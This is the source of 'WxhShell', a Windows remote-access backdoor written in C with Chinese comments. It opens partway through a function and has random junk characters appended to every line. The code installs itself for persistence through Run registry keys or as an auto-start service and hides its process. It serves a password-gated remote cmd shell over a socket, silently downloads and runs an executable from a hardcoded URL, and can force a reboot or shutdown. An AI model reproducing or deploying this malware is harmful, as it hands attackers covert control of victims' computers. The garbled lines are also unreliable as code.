    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J=B,$4)9  
    if(Boot(SHUTDOWN)) ]~7xq)28  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9M7Wlx2  
    else { ESi-'R&  
    closesocket(wsh); # 66vkf*  
    ExitThread(0); j1K?QH=e#{  
    } >=YQxm}GJ  
    break; b X4]/4%  
    } lB(P+yY,/'  
  // 获取shell ~`<_xIvrq  
  case 's': { 23'Ac,{  
    CmdShell(wsh); Bi|-KS.9  
    closesocket(wsh); E[M.q;rM  
    ExitThread(0); G$1gk^G's  
    break; 5](,N^u{):  
  } #Kt5+"+7  
  // 退出 v7mg8'  
  case 'x': { uZ+vYF^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BV eIj }  
    CloseIt(wsh); gPF5|% 3)  
    break; hEAP,)>F  
    } )]{&  
  // 离开 Q#}c5TjVr  
  case 'q': { $}.#0c8I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ' eH Fa  
    closesocket(wsh); M4K>/-9X+V  
    WSACleanup(); dwz {Yw(  
    exit(1); M 9/J!s  
    break; :JCe,1!3@  
        } ]lA.?  
  } 6B@{X^6y  
  } Jqqt@5Ni  
g&O!w!T  
  // 提示信息 +A<7:`sO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p"Q V| `  
} '/@i} digf  
  } ` W{y  
M][Zu[\*  
  return; M (.Up  
} C[nacAi  
5 0<  
// shell模块句柄 !KLY*bt6  
int CmdShell(SOCKET sock) H~~>ut6`  
{ ::!{f+Up  
STARTUPINFO si; &u0on) E  
ZeroMemory(&si,sizeof(si)); s3oQ( wC %  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g/OL ^A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; * NdL4c~  
PROCESS_INFORMATION ProcessInfo; yYvv!w+@Q  
char cmdline[]="cmd"; PZhpp"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bf$4Z: Y  
  return 0; rNeSg=j  
} Q3aZB*$K  
Uc5BNk7<=  
// 自身启动模式 -4t!k Aw`  
int StartFromService(void) O*PJr[Zou  
{ F/U38[  
typedef struct GKf%dK L  
{ tkf^sGgNO  
  DWORD ExitStatus; *Zz hN]1  
  DWORD PebBaseAddress; LAv!s/O$=  
  DWORD AffinityMask; #i| AE`  
  DWORD BasePriority; o '!WW  
  ULONG UniqueProcessId; 5+Hw @CY3  
  ULONG InheritedFromUniqueProcessId; c8M'/{4rH  
}   PROCESS_BASIC_INFORMATION; TbR!u:J  
 ui1h M  
PROCNTQSIP NtQueryInformationProcess; fC!+"g55  
Hb@PQcj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |v= */e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YE1X*'4  
[+>cW0a  
  HANDLE             hProcess; uOQl;}Lk5  
  PROCESS_BASIC_INFORMATION pbi; A9ru]|?  
%<;PEQQ|C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }yMA s  
  if(NULL == hInst ) return 0; H]&^>Pvh  
ZR@PqS+O/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N.|uPq$R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZqJyuTPv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {{Z3M>Q  
_sC kBDl-  
  if (!NtQueryInformationProcess) return 0; "oo j;  
5)<}a&;{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {%XDr,myd  
  if(!hProcess) return 0; Z)RV6@(  
Ib0@,yS[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  ~ A4_  
H@BU/{  
  CloseHandle(hProcess); +BkmI\  
afj[HJbY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t^(wbC  
if(hProcess==NULL) return 0; ^.(i!BG'  
^y3snuLtE  
HMODULE hMod; +4m~D`fqt[  
char procName[255]; 'U'Y[*m@  
unsigned long cbNeeded; }?=4pGsI  
~{f[X3m^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h . R bdG  
=aJb}X  
  CloseHandle(hProcess); 7N I~47s|v  
kY]^~|i6  
if(strstr(procName,"services")) return 1; // 以服务启动 9xIz[`)i.  
("ulL5  
  return 0; // 注册表启动 ff.;6R\  
} i8> ^{GODR  
SZm&2~|J  
// 主模块 8@d,TjJDo  
int StartWxhshell(LPSTR lpCmdLine) /Q2{w >^DK  
{ EHcgWlT u  
  SOCKET wsl; 6YpP/ K  
BOOL val=TRUE; D?}K|z LQ  
  int port=0; EmubpUS;  
  struct sockaddr_in door; H\@@iK=  
G5'HrV  
  if(wscfg.ws_autoins) Install(); yfCdK-9+B  
<jHo2U8/"s  
port=atoi(lpCmdLine); ~91) DNaE  
6 xAR:  
if(port<=0) port=wscfg.ws_port; V~_aM@q1  
Tq`rc"&7u  
  WSADATA data; R[{s\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iK <vr  
7S)u7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eBxOa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tP]-u3  
  door.sin_family = AF_INET; o2r)K AA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8@- UvT&o  
  door.sin_port = htons(port); 'n0u6hCSb  
QzX|c&&>u2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n0< I  
closesocket(wsl); )%=oJ!)  
return 1; >r~!'Pd!  
} `]3A#y)v  
fC^POLn[f  
  if(listen(wsl,2) == INVALID_SOCKET) { !;~6nYY  
closesocket(wsl); ={gfx;  
return 1; EG3?C  
} Zh,{e/j  
  Wxhshell(wsl); |*-&x:p7O  
  WSACleanup(); =}7[ypQM`]  
@h";gN  
return 0; Zm~oV?6  
 2/v9  
} mq*Efb)!  
FCMV1,  
// 以NT服务方式启动 + 4*jO5EZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +YK/^;Th  
{ gdkQ h_\  
DWORD   status = 0; qZ|>{^a*  
  DWORD   specificError = 0xfffffff; MW$ X4<*KD  
UgjY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d1=fA%pJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tNbZ{=I>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v6q oH)n  
  serviceStatus.dwWin32ExitCode     = 0; ^P !} "  
  serviceStatus.dwServiceSpecificExitCode = 0; K|g+W t^tQ  
  serviceStatus.dwCheckPoint       = 0; 5$.e5y<&(  
  serviceStatus.dwWaitHint       = 0; ae`6hW2  
,z+7rl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '#p2v'A  
  if (hServiceStatusHandle==0) return; 7lYiufg  
G>yTv`-  
status = GetLastError(); :Lze8oY(D}  
  if (status!=NO_ERROR) zxffjz,Fe:  
{ oz[: T3oE>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `bx}!;{lx  
    serviceStatus.dwCheckPoint       = 0; z),@YJU"z  
    serviceStatus.dwWaitHint       = 0; 8C(@a[V  
    serviceStatus.dwWin32ExitCode     = status; !H[K"7w  
    serviceStatus.dwServiceSpecificExitCode = specificError; ` $N()P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &q0s8'qA  
    return; a-<&(jV  
  } /6PL  
:]g>8sWL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0k\BE\PQk  
  serviceStatus.dwCheckPoint       = 0; 1L\\](^ 3  
  serviceStatus.dwWaitHint       = 0; 8) 1+j>OQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _Nmc1azS  
} @+P7BE}  
W|e$@u9  
// 处理NT服务事件,比如:启动、停止 6o4Bf| E]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q"2J2211  
{ 9pJk.Np0   
switch(fdwControl) M8HHyV[AmC  
{ "fTW2D74  
case SERVICE_CONTROL_STOP: AV%t<fDG#  
  serviceStatus.dwWin32ExitCode = 0; y m~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FT/STI  
  serviceStatus.dwCheckPoint   = 0; 6)_svtg  
  serviceStatus.dwWaitHint     = 0; ltH?Ew<]  
  { ?ot7_vl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -SGo E=  
  } o,yP9~8\  
  return; 1o*eu&@  
case SERVICE_CONTROL_PAUSE: h~R= ?%H[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a(BEm_l3  
  break; y>YQx\mK  
case SERVICE_CONTROL_CONTINUE: |MQ_VZ{6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8M&q  
  break; OPtFz6   
case SERVICE_CONTROL_INTERROGATE: YLVZ]fN=>  
  break;  wq@{85  
}; _)U[c;^6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U&}v1wdZ3  
} VQ,;~^Td  
8n1<nS<  
// 标准应用程序主函数 Pv3rDQ/Yt|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lI"~*"c`  
{ 2LqJ.HH  
B !}/4"  
// 获取操作系统版本 \p%,g& ^ x  
OsIsNt=GetOsVer(); @G&2Tbj[`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [zv@}@$  
(m3 <)  
  // 从命令行安装 PZjK6]N\  
  if(strpbrk(lpCmdLine,"iI")) Install(); `1fNB1c  
ZS\~GQbG  
  // 下载执行文件 V^[B=|56  
if(wscfg.ws_downexe) { Q]v><  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n |e=7?H8  
  WinExec(wscfg.ws_filenam,SW_HIDE); +8#hi5e  
} zOfMKrRG  
H0P:t(<Gt  
if(!OsIsNt) { 7)Y0D@wg  
// 如果时win9x,隐藏进程并且设置为注册表启动 gf\F%VmSN  
HideProc(); FT$Z8  
StartWxhshell(lpCmdLine); 7i@vj7K  
} Z| f~   
else '1r<g\ l  
  if(StartFromService()) BV@xE  
  // 以服务方式启动 )] C"r_  
  StartServiceCtrlDispatcher(DispatchTable); io1hUZ  
else AwQ7Oz|(  
  // 普通方式启动 QRL+-)DMc  
  StartWxhshell(lpCmdLine); iu9<]1k  
5tG\5  
return 0; WH6Bs=G\}  
} bAVlL&^@|  
b Y^K)0+^s  
(G<fvl!~  
1@"os[ 9  
=========================================== alV{| Vf[6  
Wn kIi,<  
Fk*C8  
Q]7}" B&  
M?QK4Zxb6U  
|q+dTy_n  
" |[B JZ  
8uD%  
#include <stdio.h> |iLf;8_:  
#include <string.h> Rxfhk,I  
#include <windows.h> ?Tr\r1s]  
#include <winsock2.h> x3L0;:Fx8P  
#include <winsvc.h> .2v)x  
#include <urlmon.h> VTIRkC wl@  
IL&;2%  
#pragma comment (lib, "Ws2_32.lib") 'i5,2vT0  
#pragma comment (lib, "urlmon.lib") La 9:qpj  
W0qn$H  
#define MAX_USER   100 // 最大客户端连接数 >5c38D7k)  
#define BUF_SOCK   200 // sock buffer jM'(Qa  
#define KEY_BUFF   255 // 输入 buffer C=zc6C,  
XRx^4]c  
#define REBOOT     0   // 重启 Yj'/ p  
#define SHUTDOWN   1   // 关机 hvo7T@*'  
u`~,`z^{n  
#define DEF_PORT   5000 // 监听端口 r0L' mf$  
H2oD0f|  
#define REG_LEN     16   // 注册表键长度 V|`w/P9g4  
#define SVC_LEN     80   // NT服务名长度 g3Z"ri~!G  
eX3|<Bf  
// 从dll定义API 3@8Zy:[8<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kl[Jt)"4@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oa q!<lI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dm`:']?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U0fr\kM  
z5q(  
// wxhshell配置信息 c)B <d#  
struct WSCFG { 9JBVG~m+  
  int ws_port;         // 监听端口 25wvB@0&  
  char ws_passstr[REG_LEN]; // 口令 -?Kd[Ma  
  int ws_autoins;       // 安装标记, 1=yes 0=no K^f&+`v6_  
  char ws_regname[REG_LEN]; // 注册表键名 ]rM HO  
  char ws_svcname[REG_LEN]; // 服务名 S>nf]J`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h'|J$   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =OR "Bd:O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <S@XK%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >m'n#=yap  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jx[g;7~X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,/Usyb,`  
m!LJK`gA  
}; Zv^n  
=Yt)b/0b9  
// default Wxhshell configuration xI( t!aYp  
struct WSCFG wscfg={DEF_PORT, >yr1wVS  
    "xuhuanlingzhe", < s1  
    1, k+;XQEH  
    "Wxhshell", P&.-c _  
    "Wxhshell", U{?#W  
            "WxhShell Service", ibL    
    "Wrsky Windows CmdShell Service", JthW"{E  
    "Please Input Your Password: ", Q)L6+gW^  
  1, /pYp, ak  
  "http://www.wrsky.com/wxhshell.exe", %z "${ zw  
  "Wxhshell.exe" SsfHp  
    }; +5xk6RP   
I6lWB(H!u  
// 消息定义模块 (>M? iB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R!y`p:O C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ka?EXF:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KbM1b  
char *msg_ws_ext="\n\rExit."; u.9syr  
char *msg_ws_end="\n\rQuit."; "*JyNwf  
char *msg_ws_boot="\n\rReboot..."; i=AQ1X\s  
char *msg_ws_poff="\n\rShutdown..."; a*bAf'=  
char *msg_ws_down="\n\rSave to "; Su*f`~G];  
6!$2nK+  
char *msg_ws_err="\n\rErr!"; >NMq^J'/  
char *msg_ws_ok="\n\rOK!"; Gm.2!F=R4A  
}y&tF'qG  
char ExeFile[MAX_PATH]; 4B$|UG  
int nUser = 0; !63]t?QXMG  
HANDLE handles[MAX_USER]; owKOH{otf  
int OsIsNt; +LB2V3UZ  
zya2 O?s  
SERVICE_STATUS       serviceStatus; -4LckY=]1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; " gQJeMU  
:@]%n~x  
// 函数声明 45U!\mG  
int Install(void); ? uu,w  
int Uninstall(void); X3Yi|dyn T  
int DownloadFile(char *sURL, SOCKET wsh); 'wd&O03&  
int Boot(int flag); ~Hb2-V  
void HideProc(void); t*(buAx  
int GetOsVer(void); Y |'}VU  
int Wxhshell(SOCKET wsl); CA]u3bf~  
void TalkWithClient(void *cs); 2kW*Z7@D  
int CmdShell(SOCKET sock); A| s\5"??  
int StartFromService(void); Y@2v/O,\  
int StartWxhshell(LPSTR lpCmdLine); ;Yu|LaI\<m  
,ocAB;K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i>{.Y};  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1^AG/w  
DM=`hyf(v  
// 数据结构和表定义 (Q[(]dfc  
SERVICE_TABLE_ENTRY DispatchTable[] = Cd'`rs}3  
{ ,}a'h4C  
{wscfg.ws_svcname, NTServiceMain}, ~jDf,a2  
{NULL, NULL} 5h@5.-}  
}; _qvzZ6  
UJ7{FN=@t  
// 自我安装 cllnYvr3  
int Install(void) |}D5q| d@n  
{ v]c+|nRs  
  char svExeFile[MAX_PATH]; I08W I u  
  HKEY key; u}eLf'^ZCe  
  strcpy(svExeFile,ExeFile); #j4jZBOTM  
G^2%F5@  
// 如果是win9x系统,修改注册表设为自启动 JN> h:  
if(!OsIsNt) { h)pYV>!d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jSdW?IH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3F?_{A  
  RegCloseKey(key); !~ fy".|x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6YF<GF{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F42?h:y8I  
  RegCloseKey(key); QQ\\:]iM  
  return 0; k<QZ_*x}G  
    } f?W"^6Df  
  } .M([n-  
} *_H^]wNJG  
else { v%E~sX&CG  
ykD-L^}  
// 如果是NT以上系统,安装为系统服务 4`'V%)M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0P^&{ek+)  
if (schSCManager!=0) Qv;q*4_  
{ M%v 6NxN  
  SC_HANDLE schService = CreateService wuKr 9W9Xa  
  ( > K s.  
  schSCManager, tNC ;CP#R+  
  wscfg.ws_svcname, ^7iP!-w/  
  wscfg.ws_svcdisp, bBgyLyg  
  SERVICE_ALL_ACCESS, oz&RNB.K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4b  1a?  
  SERVICE_AUTO_START, "9O8#i<Nr  
  SERVICE_ERROR_NORMAL, >gf,8flgj  
  svExeFile, V#TNv0&0  
  NULL, Z7J4r TA  
  NULL, I/)*pzt8  
  NULL, N?><%fra  
  NULL, ~'VVCtA  
  NULL KS Q*HO)5  
  ); 7Y6b<:4j  
  if (schService!=0) 8c5=Px2\  
  { +@qIDUiF3  
  CloseServiceHandle(schService); D8\9nHUD`  
  CloseServiceHandle(schSCManager); 0;tu}]jnN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >Y=qSg>Ik  
  strcat(svExeFile,wscfg.ws_svcname); $/"QYSF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v{pW/Fu~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Eu2(#z 6eW  
  RegCloseKey(key); GxS!Lk  
  return 0; jQ3&4>gj  
    } j|%>NB ):  
  } 3,)[Q?nKD  
  CloseServiceHandle(schSCManager); lQ!(l Ph  
} ~ugH2jiB  
} Y lhKP;  
VU;98  
return 1; 5`Y>!| Ab  
} {Lugdf'  
?eDZ-u9)  
// 自我卸载 C=x70Y/  
int Uninstall(void) k|3hs('y|  
{ cQrXrij;!  
  HKEY key; 349BQ5ND  
9yWSlbPr]  
if(!OsIsNt) { C@!bd+'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m*vz   
  RegDeleteValue(key,wscfg.ws_regname); _71&".A  
  RegCloseKey(key); Q=t_m(:0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oQK,#>rv  
  RegDeleteValue(key,wscfg.ws_regname); E'^ny4gL  
  RegCloseKey(key); 8u7QF4 Id  
  return 0; 9gac7(2`)  
  } lY[\eQ 1:  
} BMItHn].  
} {=6CL'_  
else { Qq3>Xv <  
fU|4^p)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9e;8"rJ?C  
if (schSCManager!=0) fE1VTGfd:  
{ (o4':/es  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t@!A1Vr@  
  if (schService!=0) WXd#`f%  
  { ;jh.\a_\  
  if(DeleteService(schService)!=0) { Oar%LSkPRz  
  CloseServiceHandle(schService); ,:% h`P_  
  CloseServiceHandle(schSCManager); {hVc,\A  
  return 0; :eFyd`Syw  
  } *Rgl(Ba  
  CloseServiceHandle(schService); /Nns3oE  
  } %e+{wU}w?2  
  CloseServiceHandle(schSCManager); E&>;a!0b]  
} 9F7}1cH7g@  
} XwDt8TxL  
8 @r>`c  
return 1; !im%t9  
} wU-Cb<^  
zI CAV -&  
// 从指定url下载文件 Daq lL  
int DownloadFile(char *sURL, SOCKET wsh) oF_ '<\ly=  
{ ;i!$rL  
  HRESULT hr; Z_s]2y1  
char seps[]= "/"; F%$l cQ04%  
char *token; F`CDv5  
char *file;  `l  
char myURL[MAX_PATH]; dQ Lo,S8(  
char myFILE[MAX_PATH]; Kl]l[!c7$  
\qJ cs'D  
strcpy(myURL,sURL); r=#v@]z B  
  token=strtok(myURL,seps); `$ pJ2S  
  while(token!=NULL) kW& zkE{  
  { ~!6 I.u  
    file=token; r{wf;5d(  
  token=strtok(NULL,seps); `KUL 4) g~  
  } g ,yB^^%  
GW2v&Ul7(  
GetCurrentDirectory(MAX_PATH,myFILE); /4$ c-k  
strcat(myFILE, "\\"); 1w#vy1m J  
strcat(myFILE, file); Y4N)yMSl"  
  send(wsh,myFILE,strlen(myFILE),0); ekd;sEO  
send(wsh,"...",3,0); #M<u^$Jz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !}q@O-}j  
  if(hr==S_OK) AmK g;9LS  
return 0; 7-mo\jw<  
else {BZ0x2  
return 1; rBZ00}  
|WSm puf  
} ~*L@|?  
l"%WXi"X  
// 系统电源模块 |#EI(W?`  
int Boot(int flag) B-V   
{ jF-0fK;)*  
  HANDLE hToken; c3*9{Il^  
  TOKEN_PRIVILEGES tkp; +/r h8?  
3iw. yR  
  if(OsIsNt) { g_)i)V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F6" QsFG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gF\ac%9  
    tkp.PrivilegeCount = 1; 9#a/at]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $x2G/5?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mxICQ>s b  
if(flag==REBOOT) { - XB[2h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A:*$rHbzl  
  return 0; k[\JT[Mp  
} AjINO}b  
else { !X 0 (4^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ' wKTWmf?\  
  return 0; |sBL(9  
} -v=tM6  
  } ZVz*1]}  
  else { *}Rd%'  
if(flag==REBOOT) { le2 v"Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -l{ wB"  
  return 0; h([qq<Lzs  
} \3whM6tK  
else { XlJ+:st  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5D>cbzP@  
  return 0; XQcE  ZJ2  
} S9 @*g3  
} 5K00z?kD2V  
Y{L|ja%9?  
return 1; 10*^  
} iBCIJ!;  
29NP!W /g  
// win9x进程隐藏模块 Hr/J6kyB)  
void HideProc(void) mWuhXY^Q  
{ \{1Vjo  
A&_v:z4y/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pcr;+'q  
  if ( hKernel != NULL ) <9`/Y"\p  
  { ^@]yiED{g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #Q%0y^s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~AR0 ,lak  
    FreeLibrary(hKernel); }TU2o3Q  
  } o+?Ko=vYw  
qGgdWDn`  
return; "~T06!F45  
} <"`P;,S  
!&o>zU.  
// 获取操作系统版本 =A; 79@bY  
int GetOsVer(void) K555z+,'e  
{ ; .hTfxE0  
  OSVERSIONINFO winfo; ]v.Yt/&C{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >|JMvbje  
  GetVersionEx(&winfo); sE0,b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O9Yk5b;  
  return 1; ? \NT'CG  
  else E9j(%kQ2  
  return 0; j{P3o<l&`  
} 0vM,2:kf*  
X($@E!|  
// 客户端句柄模块 !}HT&N8[r  
int Wxhshell(SOCKET wsl) bfA9aT  
{ v9Ez0 :)  
  SOCKET wsh; bM $WU?Z  
  struct sockaddr_in client; #4!6pMW(&7  
  DWORD myID; 0WAOA6 _x  
=4 W jb  
  while(nUser<MAX_USER) k? =_p6>  
{ G_?qY#"(  
  int nSize=sizeof(client); 5fK<DkB$>:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vo2TP:  
  if(wsh==INVALID_SOCKET) return 1; jce2lXMm  
<(Ktf0'__  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V,:~FufM^  
if(handles[nUser]==0) kZS&q/6A*  
  closesocket(wsh); :N>s#{+"3  
else ooT~R2u  
  nUser++; BO;LK-V  
  } {4b8s%:!4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <nn!9V\C   
RQ[6svfP  
  return 0; e6^iakSd.L  
} mC84fss  
kk3G~o +  
// 关闭 socket S;S_<GX  
void CloseIt(SOCKET wsh) K|-RAjE  
{ [E/8E h<  
closesocket(wsh); z#sSLE.$Z  
nUser--; P4~C0z  
ExitThread(0); 8 9f{8B]z  
} mKBPIQ+ZS  
1PT0<C-  
// 客户端请求句柄 3(La)|k  
void TalkWithClient(void *cs) _95`w9  
{ >HQ<KFA  
c(0Ez@  
  SOCKET wsh=(SOCKET)cs; 1 *$-.  
  char pwd[SVC_LEN]; 5[$jrG\!  
  char cmd[KEY_BUFF]; 1FmVx   
char chr[1]; z=VL|Du1OT  
int i,j; h:'wtn@l(  
)L:p.E  
  while (nUser < MAX_USER) { u< .N\/  
X3rvM8  
if(wscfg.ws_passstr) { O.+X,CQG*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 04R-}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C?%Oi:Gi&  
  //ZeroMemory(pwd,KEY_BUFF); 1fb!sbGD.k  
      i=0; ,]-A~^|  
  while(i<SVC_LEN) { {siIRl2&  
C@s;0-qL  
  // 设置超时 d<4q%y'X{  
  fd_set FdRead; nD;8)VI'I  
  struct timeval TimeOut; 9~WjCa*,&  
  FD_ZERO(&FdRead); yn-TN_/Y,  
  FD_SET(wsh,&FdRead); \~'+TW  
  TimeOut.tv_sec=8; P[C03a!lXg  
  TimeOut.tv_usec=0; D[}qhDlX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VcR(9~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M]OZS\9.B  
4f> s2I&pQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %q 7gl;'  
  pwd=chr[0]; n+uDg  
  if(chr[0]==0xd || chr[0]==0xa) { w.\#!@kZ!  
  pwd=0; 4vRIJ}nQ  
  break; Qz/1^xy  
  } {H%1sI  
  i++; ;]Bkw6 o  
    } Kzgnh gc  
Smlf9h&  
  // 如果是非法用户,关闭 socket }F4   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *^P$^lm?S  
} t.WWahNyY  
w"K;e(S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4E DwZR>./  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qcr-|?5L  
G[5z3  
while(1) { F%>`?NG+c  
4I^8f||b_  
  ZeroMemory(cmd,KEY_BUFF); VCUEzR0  
ygquQhf5  
      // 自动支持客户端 telnet标准   kI>PaZ`i)  
  j=0; ThSB\  
  while(j<KEY_BUFF) { YE\s<$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Mq7l$]h$  
  cmd[j]=chr[0]; z wJ Vi9sO  
  if(chr[0]==0xa || chr[0]==0xd) { x>=8~wIK  
  cmd[j]=0; x4vowF  
  break; ..hD_k  
  } _lj&}>l  
  j++; /NFcIU  
    } l TRQ/B  
)w++cC4/5  
  // 下载文件 :=K <2  
  if(strstr(cmd,"http://")) { byUstm6y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1#<KZN =$  
  if(DownloadFile(cmd,wsh)) VaRP+J}UA.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N/&t) 7  
  else Zl+Ba   
